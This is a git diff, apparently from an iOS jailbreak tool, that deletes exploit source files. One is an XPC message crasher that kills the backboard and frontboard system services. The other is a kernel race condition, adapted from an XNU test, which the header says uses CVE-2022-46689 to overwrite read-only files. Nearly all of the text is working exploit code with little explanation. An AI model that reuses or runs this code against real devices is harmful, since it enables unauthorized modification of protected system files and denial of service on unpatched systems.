type = 0; - kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); - if (err != KERN_SUCCESS) { - printf("port right extraction failed: %s\n", mach_error_string(err)); - return MACH_PORT_NULL; - } - printf("made so: 0x%x from recv: 0x%x\n", so, recv); - return so; -} - -// copy-pasted from an exploit I wrote in 2019... -// still works... - -// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) - -void xpc_crasher(char* service_name) { - mach_port_t client_port = MACH_PORT_NULL; - mach_port_t reply_port = MACH_PORT_NULL; - - mach_port_t service_port = MACH_PORT_NULL; - - kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); - if(err != KERN_SUCCESS){ - printf("unable to look up %s\n", service_name); - return; - } - - if (service_port == MACH_PORT_NULL) { - printf("bad service port\n"); - return; - } - - // allocate the client and reply port: - err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); - if (err != KERN_SUCCESS) { - printf("port allocation failed: %s\n", mach_error_string(err)); - return; - } - - mach_port_t so0 = get_send_once(client_port); - mach_port_t so1 = get_send_once(client_port); - - // insert a send so we maintain the ability to send to this port - err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); - if (err != KERN_SUCCESS) { - printf("port right insertion failed: %s\n", mach_error_string(err)); - return; - } - - err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); - if (err != KERN_SUCCESS) { - printf("port allocation failed: %s\n", mach_error_string(err)); - return; - } - - struct xpc_w00t msg; - memset(&msg.hdr, 0, sizeof(msg)); - msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); - msg.hdr.msgh_size = sizeof(msg); - msg.hdr.msgh_remote_port = service_port; - msg.hdr.msgh_id = 'w00t'; - - msg.body.msgh_descriptor_count = 2; - - msg.client_port.name = client_port; - msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send - msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; - - msg.reply_port.name = reply_port; - msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; - msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; - - err = mach_msg(&msg.hdr, - MACH_SEND_MSG|MACH_MSG_OPTION_NONE, - msg.hdr.msgh_size, - 0, - MACH_PORT_NULL, - MACH_MSG_TIMEOUT_NONE, - MACH_PORT_NULL); - - if (err != KERN_SUCCESS) { - printf("w00t message send failed: %s\n", mach_error_string(err)); - return; - } else { - printf("sent xpc w00t message\n"); - } - - mach_port_deallocate(mach_task_self(), so0); - mach_port_deallocate(mach_task_self(), so1); - - return; -} - -void restartBackboard(void) { - xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); -} - -void restartFrontboard(void) { - // NOTE: This will not kill your app on some versions - // You may also need to exit(0) afterwards - xpc_crasher("com.apple.frontboard.systemappservices"); -} diff --git a/usprebooter/fun/mdc/vm_unaligned_copy_switch_race.c b/usprebooter/fun/mdc/vm_unaligned_copy_switch_race.c deleted file mode 100644 index c52454d..0000000 --- a/usprebooter/fun/mdc/vm_unaligned_copy_switch_race.c +++ /dev/null @@ -1,362 +0,0 @@ -// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c -// modified to compile outside of XNU - -#include -#include -#include - -#include -#include -#include - -#include -#include - -#include "vm_unaligned_copy_switch_race.h" - -#define T_QUIET -#define T_EXPECT_MACH_SUCCESS(a, b) -#define T_EXPECT_MACH_ERROR(a, b, c) -#define T_ASSERT_MACH_SUCCESS(a, b, ...) -#define T_ASSERT_MACH_ERROR(a, b, c) -#define T_ASSERT_POSIX_SUCCESS(a, b) -#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) -#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) -#define T_ASSERT_TRUE(a, b, ...) -#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) -#define T_DECL(a, b) static void a(void) -#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) - -struct context1 { - vm_size_t obj_size; - vm_address_t e0; - mach_port_t mem_entry_ro; - mach_port_t mem_entry_rw; - dispatch_semaphore_t running_sem; - pthread_mutex_t mtx; - volatile bool done; -}; - -static void * -switcheroo_thread(__unused void *arg) -{ - kern_return_t kr; - struct context1 *ctx; - - ctx = (struct context1 *)arg; - /* tell main thread we're ready to run */ - dispatch_semaphore_signal(ctx->running_sem); - while (!ctx->done) { - /* wait for main thread to be done setting things up */ - pthread_mutex_lock(&ctx->mtx); - if (ctx->done) { - pthread_mutex_unlock(&ctx->mtx); - break; - } - /* switch e0 to RW mapping */ - kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->mem_entry_rw, - 0, - FALSE, /* copy */ - VM_PROT_READ | VM_PROT_WRITE, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); - /* wait a little bit */ - usleep(100); - /* switch bakc to original RO mapping */ - kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); - /* tell main thread we're don switching mappings */ - pthread_mutex_unlock(&ctx->mtx); - usleep(100); - } - return NULL; -} - -bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { - bool retval = false; - pthread_t th = NULL; - int ret; - kern_return_t kr; - time_t start, duration; -#if 0 - mach_msg_type_number_t cow_read_size; -#endif - vm_size_t copied_size; - int loops; - vm_address_t e2, e5; - struct context1 context1, *ctx; - int kern_success = 0, kern_protection_failure = 0, kern_other = 0; - vm_address_t ro_addr, tmp_addr; - memory_object_size_t mo_size; - - ctx = &context1; - ctx->obj_size = 256 * 1024; - - void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); - if (file_mapped == MAP_FAILED) { - fprintf(stderr, "failed to map\n"); - return false; - } - if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { - fprintf(stderr, "already the same?\n"); - munmap(file_mapped, ctx->obj_size); - return true; - } - ro_addr = (vm_address_t)file_mapped; - - ctx->e0 = 0; - ctx->running_sem = dispatch_semaphore_create(0); - T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); - ret = pthread_mutex_init(&ctx->mtx, NULL); - T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); - ctx->done = false; - ctx->mem_entry_rw = MACH_PORT_NULL; - ctx->mem_entry_ro = MACH_PORT_NULL; -#if 0 - /* allocate our attack target memory */ - kr = vm_allocate(mach_task_self(), - &ro_addr, - ctx->obj_size, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); - /* initialize to 'A' */ - memset((char *)ro_addr, 'A', ctx->obj_size); -#endif - - /* make it read-only */ - kr = vm_protect(mach_task_self(), - ro_addr, - ctx->obj_size, - TRUE, /* set_maximum */ - VM_PROT_READ); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); - /* make sure we can't get read-write handle on that target memory */ - mo_size = ctx->obj_size; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - ro_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->mem_entry_ro, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); - /* take read-only handle on that target memory */ - mo_size = ctx->obj_size; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - ro_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ, - &ctx->mem_entry_ro, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); - /* make sure we can't map target memory as writable */ - tmp_addr = 0; - kr = vm_map(mach_task_self(), - &tmp_addr, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_ANYWHERE, - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); - tmp_addr = 0; - kr = vm_map(mach_task_self(), - &tmp_addr, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_ANYWHERE, - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ | VM_PROT_WRITE, - VM_PROT_READ | VM_PROT_WRITE, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); - - /* allocate a source buffer for the unaligned copy */ - kr = vm_allocate(mach_task_self(), - &e5, - ctx->obj_size * 2, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); - /* initialize to 'C' */ - memset((char *)e5, 'C', ctx->obj_size * 2); - - char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); - memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); - - int overwrite_first_diff_offset = -1; - char overwrite_first_diff_value = 0; - for (int off = 0; off < overwrite_length; off++) { - if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { - overwrite_first_diff_offset = off; - overwrite_first_diff_value = ((char*)ro_addr)[off]; - } - } - if (overwrite_first_diff_offset == -1) { - fprintf(stderr, "no diff?\n"); - return false; - } - - /* - * get a handle on some writable memory that will be temporarily - * switched with the read-only mapping of our target memory to try - * and trick copy_unaligned to write to our read-only target. - */ - tmp_addr = 0; - kr = vm_allocate(mach_task_self(), - &tmp_addr, - ctx->obj_size, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); - /* initialize to 'D' */ - memset((char *)tmp_addr, 'D', ctx->obj_size); - /* get a memory entry handle for that RW memory */ - mo_size = ctx->obj_size; - kr = mach_make_memory_entry_64(mach_task_self(), - &mo_size, - tmp_addr, - MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, - &ctx->mem_entry_rw, - MACH_PORT_NULL); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); - T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); - kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); - tmp_addr = 0; - - pthread_mutex_lock(&ctx->mtx); - - /* start racing thread */ - ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); - T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); - - /* wait for racing thread to be ready to run */ - dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); - - duration = 10; /* 10 seconds */ - T_LOG("Testing for %ld seconds...", duration); - for (start = time(NULL), loops = 0; - time(NULL) < start + duration; - loops++) { - /* reserve space for our 2 contiguous allocations */ - e2 = 0; - kr = vm_allocate(mach_task_self(), - &e2, - 2 * ctx->obj_size, - VM_FLAGS_ANYWHERE); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); - - /* make 1st allocation in our reserved space */ - kr = vm_allocate(mach_task_self(), - &e2, - ctx->obj_size, - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); - /* initialize to 'B' */ - memset((char *)e2, 'B', ctx->obj_size); - - /* map our read-only target memory right after */ - ctx->e0 = e2 + ctx->obj_size; - kr = vm_map(mach_task_self(), - &ctx->e0, - ctx->obj_size, - 0, /* mask */ - VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), - ctx->mem_entry_ro, - 0, - FALSE, /* copy */ - VM_PROT_READ, - VM_PROT_READ, - VM_INHERIT_DEFAULT); - T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); - - /* let the racing thread go */ - pthread_mutex_unlock(&ctx->mtx); - /* wait a little bit */ - usleep(100); - - /* trigger copy_unaligned while racing with other thread */ - kr = vm_read_overwrite(mach_task_self(), - e5, - ctx->obj_size - 1 + overwrite_length, - e2 + 1, - &copied_size); - T_QUIET; - T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, - "vm_read_overwrite kr %d", kr); - switch (kr) { - case KERN_SUCCESS: - /* the target was RW */ - kern_success++; - break; - case KERN_PROTECTION_FAILURE: - /* the target was RO */ - kern_protection_failure++; - break; - default: - /* should not happen */ - kern_other++; - break; - } - /* check that our read-only memory was not modified */ -#if 0 - T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); -#endif - bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; - - /* tell racing thread to stop toggling mappings */ - pthread_mutex_lock(&ctx->mtx); - - /* clean up before next loop */ - vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); - ctx->e0 = 0; - vm_deallocate(mach_task_self(), e2, ctx->obj_size); - e2 = 0; - if (!is_still_equal) { - retval = true; - fprintf(stderr, "RO mapping was modified\n"); - break; - } - } - - ctx->done = true; - pthread_mutex_unlock(&ctx->mtx); - pthread_join(th, NULL); - - kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); - kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); - kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); - kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); - T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); - -#if 0 - T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", - kern_success, kern_protection_failure, kern_other); - T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); -#endif - return retval; -} diff --git a/usprebooter/fun/mdc/vm_unaligned_copy_switch_race.h b/usprebooter/fun/mdc/vm_unaligned_copy_switch_race.h deleted file mode 100644 index efba703..0000000 --- a/usprebooter/fun/mdc/vm_unaligned_copy_switch_race.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once -#include -#include -/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. -/// `page_to_overwrite` should be a page aligned `PROT_READ` `MAP_SHARED` region. `` -/// `overwrite_length` must be less than or equal to `PAGE_SIZE`. -/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. -bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);